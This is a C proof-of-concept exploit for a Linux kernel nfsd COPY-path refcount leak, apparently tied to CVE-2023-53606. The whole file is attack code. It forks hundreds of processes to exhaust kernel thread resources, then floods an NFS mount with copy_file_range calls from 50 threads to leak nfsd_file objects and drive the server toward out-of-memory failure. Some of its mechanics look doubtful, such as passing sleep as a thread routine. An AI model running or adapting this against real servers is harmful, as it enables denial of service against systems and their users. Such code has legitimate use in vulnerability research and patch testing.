/*
* CVE-2023-53606 - Linux Kernel nfsd COPY Path Refcount Leak PoC
*
* This PoC demonstrates how to trigger the nfsd_file refcount leak
* by repeatedly initiating NFSv4 COPY operations that cause
* kthread_create to fail, leading to resource exhaustion.
*
* Note: Requires local access to an NFS server and ability to
* mount NFS shares. Root or appropriate NFS permissions needed.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include <signal.h>
#include <pthread.h>
#include <limits.h>
#define NFS_MOUNT_POINT "/tmp/nfs_mount"
#define SOURCE_FILE "/tmp/nfs_mount/source_file"
#define DEST_FILE "/tmp/nfs_mount/dest_file"
#define LEAK_ITERATIONS 10000
#define THREAD_COUNT 50
// Global flag for thread control
volatile int keep_running = 1;
/*
* Signal handler for graceful shutdown
*/
void signal_handler(int sig) {
printf("\n[!] Received signal %d, stopping exploit...\n", sig);
keep_running = 0;
}
/*
* Create a large source file for COPY operations
*/
int create_source_file(const char *path, size_t size_mb) {
int fd;
char buf[4096];
memset(buf, 'A', sizeof(buf));
fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) {
perror("[-] Failed to create source file");
return -1;
}
for (size_t i = 0; i < (size_mb * 1024 * 1024) / sizeof(buf); i++) {
write(fd, buf, sizeof(buf));
}
close(fd);
return 0;
}
/*
* Attempt to trigger nfsd_file refcount leak via COPY operation
* Uses copy_file_range syscall which maps to NFSv4 COPY
*/
void trigger_copy_leak(const char *src, const char *dst) {
int src_fd, dst_fd;
src_fd = open(src, O_RDONLY);
if (src_fd < 0) return;
dst_fd = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (dst_fd < 0) {
close(src_fd);
return;
}
// copy_file_range triggers NFSv4 COPY on NFS mounts
// This is the syscall that exercises the vulnerable nfsd4_copy path
off_t offset = 0;
ssize_t ret = copy_file_range(src_fd, &offset, dst_fd, NULL, 4096, 0);
if (ret < 0 && errno != ENOSYS) {
// Expected failures are fine; we want to trigger the leak path
// via kthread_create failure scenarios
}
close(src_fd);
close(dst_fd);
}
/*
* Thread function to repeatedly trigger COPY operations
* Aims to exhaust kernel thread creation resources
*/
void* leak_thread(void *arg) {
int thread_id = *(int*)arg;
int count = 0;
while (keep_running && count < LEAK_ITERATIONS) {
trigger_copy_leak(SOURCE_FILE, DEST_FILE);
count++;
if (count % 1000 == 0) {
printf("[*] Thread %d: %d COPY operations completed\n",
thread_id, count);
}
}
printf("[*] Thread %d finished: %d operations\n", thread_id, count);
return NULL;
}
/*
* Resource exhaustion helper - fork many processes to consume
* kernel thread resources, increasing chance of kthread_create failure
*/
void exhaust_kernel_resources(void) {
printf("[*] Exhausting kernel thread resources...\n");
pid_t pids[200];
int pid_count = 0;
for (int i = 0; i < 200; i++) {
pids[i] = fork();
if (pids[i] == 0) {
// Child: consume resources by spawning threads
pthread_t threads[10];
for (int j = 0; j < 10; j++) {
pthread_create(&threads[j], NULL,
(void*(*)(void*))sleep, (void*)(long)300);
}
sleep(300); // Hold resources
exit(0);
} else if (pids[i] > 0) {
pid_count++;
}
}
printf("[*] Spawned %d resource-consuming processes\n", pid_count);
}
int main(int argc, char *argv[]) {
printf("[*] CVE-2023-53606 - nfsd COPY Refcount Leak PoC\n");
printf("[*] Linux Kernel nfsd vulnerability\n\n");
// Setup signal handlers
signal(SIGINT, signal_handler);
signal(SIGTERM, signal_handler);
// Check if running as root
if (getuid() != 0) {
printf("[-] Warning: Not running as root. NFS operations may fail.\n");
}
// Step 1: Create mount point
mkdir(NFS_MOUNT_POINT, 0755);
// Step 2: Attempt to mount NFS (if not already mounted)
printf("[*] Ensure NFS share is mounted at %s\n", NFS_MOUNT_POINT);
printf("[*] Example: mount -t nfs server:/path %s\n", NFS_MOUNT_POINT);
// Step 3: Create source file
printf("[*] Creating source file (100MB)...\n");
if (create_source_file(SOURCE_FILE, 100) != 0) {
printf("[-] Failed to create source file. Ensure NFS is mounted.\n");
printf("[-] Continuing anyway to test local behavior...\n");
}
// Step 4: Exhaust kernel resources to trigger kthread_create failure
exhaust_kernel_resources();
// Step 5: Launch multiple threads to trigger COPY operations
printf("[*] Launching %d threads to trigger COPY operations...\n", THREAD_COUNT);
pthread_t threads[THREAD_COUNT];
int thread_ids[THREAD_COUNT];
for (int i = 0; i < THREAD_COUNT; i++) {
thread_ids[i] = i;
if (pthread_create(&threads[i], NULL, leak_thread, &thread_ids[i]) != 0) {
printf("[-] Failed to create thread %d\n", i);
}
}
// Step 6: Monitor and wait
printf("[*] Exploit running. Monitor system resources:\n");
printf(" - watch 'cat /proc/slabinfo | grep nfsd_file'\n");
printf(" - watch 'dmesg | tail'\n");
printf("[*] Press Ctrl+C to stop\n\n");
for (int i = 0; i < THREAD_COUNT; i++) {
pthread_join(threads[i], NULL);
}
// Cleanup
unlink(SOURCE_FILE);
unlink(DEST_FILE);
printf("[*] PoC completed. Check kernel logs for OOM or nfsd errors.\n");
printf("[*] If vulnerable, nfsd_file slab objects will not be freed.\n");
return 0;
}